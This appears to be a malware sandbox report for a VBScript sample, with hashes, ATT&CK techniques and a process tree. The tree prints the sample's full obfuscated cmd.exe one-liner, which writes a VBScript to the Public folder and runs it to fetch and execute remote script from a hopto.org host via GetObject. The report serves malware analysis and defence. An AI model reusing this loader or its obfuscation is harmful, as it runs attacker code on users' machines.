e725e58b77d87158a9c4d68ba6468ddd4cf13ab61f18131dd1fa6d9be830ae76

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 12:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
368-Arch!vo-61D9ZRSDsY1r5hndqVAbVold.vbs
Size 3KB
Sample260910-pr2s7atcja
SHA256 e725e58b77d87158a9c4d68ba6468ddd4cf13ab61f18131dd1fa6d9be830ae76
MD5 7d96f2ea6837aa91456455afa582da83
SHA1 bbf3e2a3310a7e4b5f2602cd16bc7fb7a57c7592
SHA512 fbc1d63f035723e94f0a858a85f865a5a64b872dd06ed819cf620578d2f5b67a10423567d3ec6943adfe686440bd463dd4be71d9f9156631b5fe3a0e202e8a2f
TLSH
T1A471DCB1B1152533DFC12604E761BC8516BE7EBD2185672DF8090A4A3209773DCCA6EB
MD5 SHA1 SHA512 TLSH

Score

5^/10

execution

Malware Config

Signatures

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
992	WScript.exe
1020	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5776	cmd.exe
4484	cmd.exe
3040	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings	cmd.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 992 wrote to memory of 5776	992	WScript.exe	89
PID 5776 wrote to memory of 4420	5776	cmd.exe	91
PID 5776 wrote to memory of 4484	5776	cmd.exe	92
PID 4484 wrote to memory of 3040	4484	cmd.exe	93
PID 3040 wrote to memory of 1020	3040	cmd.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\368-Arch!vo-61D9ZRSDsY1r5hndqVAbVold.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmD ^/V/D/c ecHo function ff22xrZ(RS6QE1QSowZRC740) ff22xrZ= replace(RS6QE1QSowZRC740,"xqol1","5" ): end fUnction: AzKHzYploniR515="Sc": BY9slpb104="Tp": L43rwEHYU8j511="1": c42b6eqaurQjtuNe16 = ff22xrZ(AzKHzYploniR515 +"ri*pt*:H*t"+ BY9slpb104 +"s://r4bcmxqol1.hopto.org*/g*" + L43rwEHYU8j511): GetObject(wNR5EsV(c42b6eqaurQjtuNe16)) :function wNR5EsV(HT5CoxtxN9q401) wNR5EsV= replaCe(HT5CoxtxN9q401,"*","" ): end fUnction > nUl > %PUblic%\^L43rwEHYU8j511.vbs |^start cmd /c start %PUblic%\^L43rwEHYU8j511.vbs
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ecHo function ff22xrZ(RS6QE1QSowZRC740) ff22xrZ= replace(RS6QE1QSowZRC740,"xqol1","5" ): end fUnction: AzKHzYploniR515="Sc": BY9slpb104="Tp": L43rwEHYU8j511="1": c42b6eqaurQjtuNe16 = ff22xrZ(AzKHzYploniR515 +"ri*pt*:H*t"+ BY9slpb104 +"s://r4bcmxqol1.hopto.org*/g*" + L43rwEHYU8j511): GetObject(wNR5EsV(c42b6eqaurQjtuNe16)) :function wNR5EsV(HT5CoxtxN9q401) wNR5EsV= replaCe(HT5CoxtxN9q401,"*","" ): end fUnction 1>C:\Users\Public\L43rwEHYU8j511.vbs"
    3⤵
    PID:4420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" start cmd /c start C:\Users\Public\L43rwEHYU8j511.vbs"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Windows\system32\cmd.exe
      cmd /c start C:\Users\Public\L43rwEHYU8j511.vbs
      4⤵
      Executes a command shell one-liner
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:3040
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Public\L43rwEHYU8j511.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:1020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

L43rwEHYU8j511.vbs

Path C:\Users\Public\L43rwEHYU8j511.vbs
Size 413B
SHA256 771a287799a0c6499e030b12661c13241c191de3c74f5cdc32cba5d0fe5a2c76
MD5 759f9a291c5eee70b2592528e9dd8d4a
SHA1 c6c8a3ec73934fc4fc096dbf30c2eaf81f17d63a
SHA512 fec803bc3ff7bd61a4be662fce15004fab620bc820ef6976cd4fbe990c5ba3931c3ce2b762fd3ad55465cc5e2e513f8335658a58df9392a6798a3272e3cd8ce2
TLSH
T1F8E0AB042050BC128F9B0764ED0AC810803E67FF42E1BA8D6008D0AC5B249E7D1C336A
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads